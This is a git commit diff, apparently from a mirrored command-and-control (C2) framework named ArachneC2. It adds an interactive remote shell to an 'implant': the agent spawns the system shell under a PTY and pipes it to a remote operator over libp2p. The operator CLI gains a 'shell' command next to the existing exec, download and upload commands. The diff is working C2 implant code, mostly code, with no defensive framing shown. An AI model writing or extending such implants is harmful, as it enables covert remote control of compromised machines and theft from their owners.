mirror of
https://github.com/portbuster1337/ArachneC2
synced 2026-06-14 08:40:53 +00:00
interactive shell with PTY over direct libp2p stream
This commit is contained in:
@@ -17,6 +17,7 @@ require (
|
||||
github.com/cespare/xxhash/v2 v2.3.0 // indirect
|
||||
github.com/containerd/cgroups v1.1.0 // indirect
|
||||
github.com/coreos/go-systemd/v22 v22.5.0 // indirect
|
||||
github.com/creack/pty v1.1.24 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c // indirect
|
||||
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.3.0 // indirect
|
||||
@@ -129,7 +130,8 @@ require (
|
||||
golang.org/x/mod v0.20.0 // indirect
|
||||
golang.org/x/net v0.28.0 // indirect
|
||||
golang.org/x/sync v0.8.0 // indirect
|
||||
golang.org/x/sys v0.24.0 // indirect
|
||||
golang.org/x/sys v0.25.0 // indirect
|
||||
golang.org/x/term v0.24.0 // indirect
|
||||
golang.org/x/text v0.17.0 // indirect
|
||||
golang.org/x/tools v0.24.0 // indirect
|
||||
gonum.org/v1/gonum v0.13.0 // indirect
|
||||
|
||||
@@ -33,6 +33,8 @@ github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8
|
||||
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
|
||||
github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
@@ -562,6 +564,8 @@ golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
|
||||
golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
|
||||
golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
@@ -569,6 +573,8 @@ golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU=
|
||||
golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY=
|
||||
golang.org/x/term v0.24.0 h1:Mh5cbb+Zk2hqqXNO7S1iTjEphVL+jb8ZWaqh/g+JWkM=
|
||||
golang.org/x/term v0.24.0/go.mod h1:lOBK/LVxemqiMij05LGJ0tzNr8xlmwBRJ81PX6wVLH8=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
|
||||
@@ -141,6 +141,8 @@ func (a *Agent) Start() error {
|
||||
go a.discoverOperatorLoop(ns)
|
||||
}
|
||||
|
||||
a.node.SetStreamHandler(transport.ShellProtocolID, a.handleShellStream)
|
||||
|
||||
go a.beaconLoop()
|
||||
|
||||
return nil
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
|
||||
"github.com/creack/pty"
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
)
|
||||
|
||||
func (a *Agent) handleShellStream(s network.Stream) {
|
||||
remotePeer := s.Conn().RemotePeer()
|
||||
log.Printf("[implant] shell stream opened from %s", remotePeer.String())
|
||||
|
||||
shell := shellPath()
|
||||
cmd := exec.Command(shell)
|
||||
cmd.Env = append(os.Environ(), "TERM=xterm-256color")
|
||||
|
||||
f, err := pty.StartWithSize(cmd, &pty.Winsize{Rows: 30, Cols: 120})
|
||||
if err != nil {
|
||||
log.Printf("[implant] pty start: %v", err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
go func() {
|
||||
io.Copy(f, s)
|
||||
}()
|
||||
io.Copy(s, f)
|
||||
|
||||
log.Printf("[implant] shell stream closed from %s", remotePeer.String())
|
||||
}
|
||||
|
||||
func shellPath() string {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return "cmd.exe"
|
||||
default:
|
||||
sh, ok := os.LookupEnv("SHELL")
|
||||
if ok {
|
||||
return sh
|
||||
}
|
||||
return "/bin/sh"
|
||||
}
|
||||
}
|
||||
@@ -23,6 +23,8 @@ import (
|
||||
|
||||
const (
|
||||
ArachneProtocolID protocol.ID = "/arachne/1.0.0"
|
||||
ShellProtocolID protocol.ID = "/arachne/shell/1.0.0"
|
||||
SocksProtocolID protocol.ID = "/arachne/socks/1.0.0"
|
||||
CommandTopicPrefix string = "/arachne/"
|
||||
BeaconTopicPrefix string = "/arachne/"
|
||||
TaskTopicPrefix string = "/arachne/"
|
||||
|
||||
@@ -48,6 +48,7 @@ func (o *Operator) RunCLI() {
|
||||
fmt.Println(" ls <path> — list directory")
|
||||
fmt.Println(" cd <path> — change directory")
|
||||
fmt.Println(" pwd — print working directory")
|
||||
fmt.Println(" shell — interactive shell (direct stream)")
|
||||
fmt.Println(" exec <cmd> [args] — execute command (with output)")
|
||||
fmt.Println(" download <path> — download file from implant")
|
||||
fmt.Println(" upload <src> <dst> — upload file to implant")
|
||||
@@ -136,6 +137,16 @@ func (o *Operator) RunCLI() {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "shell":
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
fmt.Printf("opening shell to %s@%s...\n", selected.Name, selected.Hostname)
|
||||
if err := o.OpenShell(selected.PeerID); err != nil {
|
||||
fmt.Printf("shell error: %v\n", err)
|
||||
}
|
||||
|
||||
case "download":
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
|
||||
@@ -3,13 +3,17 @@ package core
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/libp2p/go-libp2p"
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
@@ -369,6 +373,39 @@ func (o *Operator) Upload(implantPeerID string, path string, data []byte) error
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeUpload, req)
|
||||
}
|
||||
|
||||
func (o *Operator) OpenShell(implantPeerID string) error {
|
||||
pid, err := peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
|
||||
}
|
||||
|
||||
s, err := o.node.NewStream(o.ctx, pid, transport.ShellProtocolID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open shell stream to %s: %w", implantPeerID, err)
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
oldState, err := term.MakeRaw(int(os.Stdin.Fd()))
|
||||
if err != nil {
|
||||
return fmt.Errorf("raw terminal: %w", err)
|
||||
}
|
||||
defer term.Restore(int(os.Stdin.Fd()), oldState)
|
||||
|
||||
errCh := make(chan error, 2)
|
||||
|
||||
go func() {
|
||||
_, err := io.Copy(s, os.Stdin)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, err := io.Copy(os.Stdout, s)
|
||||
errCh <- err
|
||||
}()
|
||||
|
||||
<-errCh
|
||||
return nil
|
||||
}
|
||||
|
||||
func (o *Operator) Close() error {
|
||||
o.cancel()
|
||||
return o.node.Close()
|
||||
|
||||
Reference in New Issue
Block a user